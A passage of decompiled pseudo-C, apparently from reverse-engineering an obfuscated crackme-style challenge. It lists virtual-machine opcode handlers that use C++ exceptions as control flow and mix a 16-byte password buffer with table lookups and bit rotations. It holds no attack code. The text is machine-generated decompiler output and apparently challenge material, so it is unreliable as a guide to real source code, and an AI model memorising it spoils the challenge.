// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (0000000000009A1A) ----------------------------------------------------
void __noreturn opcode_29()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 44;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (0000000000009B16) ----------------------------------------------------
void __noreturn opcode_31()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 19;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (0000000000009B9E) ----------------------------------------------------
void __noreturn opcode_86()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[30] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 53;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000009C40) ----------------------------------------------------
void __noreturn opcode_100()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[37] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 117;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000009CE8) ----------------------------------------------------
void __noreturn opcode_92()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[33] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 7;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000009D90) ----------------------------------------------------
void __noreturn opcode_58()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[29] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 22;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000009E36) ----------------------------------------------------
void __noreturn opcode_1()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = (((unsigned __int8)pass_16_buf[15] << 24) | ((unsigned __int8)pass_16_buf[14] << 16) | *(unsigned __int16 *)&pass_16_buf[12]) ^ the_constants[3];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 20;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000009EFA) ----------------------------------------------------
void __noreturn opcode_74()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[35] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 62;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000009FA2) ----------------------------------------------------
void __noreturn opcode_62()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 119;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (000000000000A09E) ----------------------------------------------------
void __noreturn opcode_21()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 85;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (000000000000A19A) ----------------------------------------------------
void __noreturn opcode_7()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 576LL] ^ the_constants[BYTE1(xxx_2) + 320LL] ^ the_constants[(unsigned __int8)xxx_2 + 64LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 73;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (000000000000A296) ----------------------------------------------------
void __noreturn opcode_46()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[9] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 75;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (000000000000A33C) ----------------------------------------------------
void __noreturn opcode_121()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 87;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (000000000000A438) ----------------------------------------------------
void __noreturn opcode_75()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 0x240LL] ^ the_constants[BYTE1(xxx_2) + 0x140LL] ^ the_constants[(unsigned __int8)xxx_2 + 0x40LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 0x340LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 101;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (000000000000A534) ----------------------------------------------------
void __noreturn opcode_94()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 115;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (000000000000A630) ----------------------------------------------------
void __noreturn opcode_111()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 17;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (000000000000A72C) ----------------------------------------------------
void __noreturn opcode_25()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[26] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 47;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (000000000000A7CE) ----------------------------------------------------
void __noreturn opcode_81()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[4];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 23;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (000000000000A860) ----------------------------------------------------
void __noreturn opcode_83()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 43;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (000000000000A95C) ----------------------------------------------------
void __noreturn opcode_120()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 69;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (000000000000A9E4) ----------------------------------------------------
void __noreturn opcode_13()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 112;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (000000000000AA6C) ----------------------------------------------------
void __noreturn opcode_105()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[6];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 72;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (000000000000AAFE) ----------------------------------------------------
void __noreturn opcode_95()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 5;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (000000000000AB86) ----------------------------------------------------
void __noreturn opcode_106()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = (((unsigned __int8)pass_16_buf[7] << 24) | ((unsigned __int8)pass_16_buf[6] << 16) | *(unsigned __int16 *)&pass_16_buf[4]) ^ the_constants[1];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 109;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (000000000000AC4A) ----------------------------------------------------
void __noreturn opcode_48()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 74;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (000000000000ACD2) ----------------------------------------------------
_QWORD *__fastcall alloc_base(_QWORD *a1)
{
_QWORD *result; // rax
result = a1;
*a1 = &vtable_base_off_2110F8;
return result;
}
// 2110F8: using guessed type __int64 (__fastcall *vtable_base_off_2110F8)();
//----- (000000000000ACEC) ----------------------------------------------------
_QWORD *__fastcall funky_0(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &hunky_off_210E28;
return result;
}
// 210E28: using guessed type void (__fastcall __noreturn *hunky_off_210E28)();
//----- (000000000000AD16) ----------------------------------------------------
_QWORD *__fastcall funky_1(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210F00;
return result;
}
// 210F00: using guessed type void (__fastcall __noreturn *off_210F00)();
//----- (000000000000AD40) ----------------------------------------------------
_QWORD *__fastcall sub_AD40(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2105E8;
return result;
}
// 2105E8: using guessed type void (__fastcall __noreturn *off_2105E8)();
//----- (000000000000AD6A) ----------------------------------------------------
_QWORD *__fastcall sub_AD6A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210E70;
return result;
}
// 210E70: using guessed type void (__fastcall __noreturn *off_210E70)();
//----- (000000000000AD94) ----------------------------------------------------
_QWORD *__fastcall sub_AD94(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210BB8;
return result;
}
// 210BB8: using guessed type void (__fastcall __noreturn *off_210BB8)();
//----- (000000000000ADBE) ----------------------------------------------------
_QWORD *__fastcall sub_ADBE(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210CA8;
return result;
}
// 210CA8: using guessed type void (__fastcall __noreturn *off_210CA8)();
//----- (000000000000ADE8) ----------------------------------------------------
_QWORD *__fastcall sub_ADE8(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_211038;
return result;
}
// 211038: using guessed type void (__fastcall __noreturn *off_211038)();
//----- (000000000000AE12) ----------------------------------------------------
_QWORD *__fastcall sub_AE12(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210840;
return result;
}
// 210840: using guessed type void (__fastcall __noreturn *off_210840)();
//----- (000000000000AE3C) ----------------------------------------------------
_QWORD *__fastcall sub_AE3C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210AF8;
return result;
}
// 210AF8: using guessed type void (__fastcall __noreturn *off_210AF8)();
//----- (000000000000AE66) ----------------------------------------------------
_QWORD *__fastcall sub_AE66(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210780;
return result;
}
// 210780: using guessed type void (__fastcall __noreturn *off_210780)();
//----- (000000000000AE90) ----------------------------------------------------
_QWORD *__fastcall sub_AE90(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2108D0;
return result;
}
// 2108D0: using guessed type void (__fastcall __noreturn *off_2108D0)();
//----- (000000000000AEBA) ----------------------------------------------------
_QWORD *__fastcall sub_AEBA(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210C30;
return result;
}
// 210C30: using guessed type void (__fastcall __noreturn *off_210C30)();
//----- (000000000000AEE4) ----------------------------------------------------
_QWORD *__fastcall sub_AEE4(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2108B8;
return result;
}
// 2108B8: using guessed type void (__fastcall __noreturn *off_2108B8)();
//----- (000000000000AF0E) ----------------------------------------------------
_QWORD *__fastcall sub_AF0E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2108E8;
return result;
}
// 2108E8: using guessed type void (__fastcall __noreturn *off_2108E8)();
//----- (000000000000AF38) ----------------------------------------------------
_QWORD *__fastcall sub_AF38(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210A08;
return result;
}
// 210A08: using guessed type void (__fastcall __noreturn *off_210A08)();
//----- (000000000000AF62) ----------------------------------------------------
_QWORD *__fastcall sub_AF62(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210768;
return result;
}
// 210768: using guessed type void (__fastcall __noreturn *off_210768)();
//----- (000000000000AF8C) ----------------------------------------------------
_QWORD *__fastcall sub_AF8C(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210CF0;
return result;
}
// 210CF0: using guessed type void (__fastcall __noreturn *off_210CF0)();
//----- (000000000000AFB6) ----------------------------------------------------
_QWORD *__fastcall sub_AFB6(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210D08;
return result;
}
// 210D08: using guessed type void (__fastcall __noreturn *off_210D08)();
//----- (000000000000AFE0) ----------------------------------------------------
_QWORD *__fastcall sub_AFE0(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210990;
return result;
}
// 210990: using guessed type void (__fastcall __noreturn *off_210990)();
//----- (000000000000B00A) ----------------------------------------------------
_QWORD *__fastcall sub_B00A(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210B40;
return result;
}
// 210B40: using guessed type void (__fastcall __noreturn *off_210B40)();
//----- (000000000000B034) ----------------------------------------------------
_QWORD *__fastcall sub_B034(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210D98;
return result;
}
// 210D98: using guessed type void (__fastcall __noreturn *off_210D98)();
//----- (000000000000B05E) ----------------------------------------------------
_QWORD *__fastcall sub_B05E(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2110B0;
return result;
}
// 2110B0: using guessed type void (__fastcall __noreturn *off_2110B0)();
//----- (000000000000B088) ----------------------------------------------------
_QWORD *__fastcall sub_B088(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_2108A0;
return result;
}
// 2108A0: using guessed type void (__fastcall __noreturn *off_2108A0)();
//----- (000000000000B0B2) ----------------------------------------------------
_QWORD *__fastcall sub_B0B2(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210F78;
return result;
}
// 210F78: using guessed type void (__fastcall __noreturn *off_210F78)();
//----- (000000000000B0DC) ----------------------------------------------------
_QWORD *__fastcall sub_B0DC(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210F60;
return result;
}
// 210F60: using guessed type void (__fastcall __noreturn *off_210F60)();
//----- (000000000000B106) ----------------------------------------------------
_QWORD *__fastcall sub_B106(_QWORD *a1)
{
_QWORD *result; // rax
alloc_base(a1);
result = a1;
*a1 = &off_210D80;
return result;
}
// 210D80: using guessed type void (__fastcall __noreturn *off_210D80)();
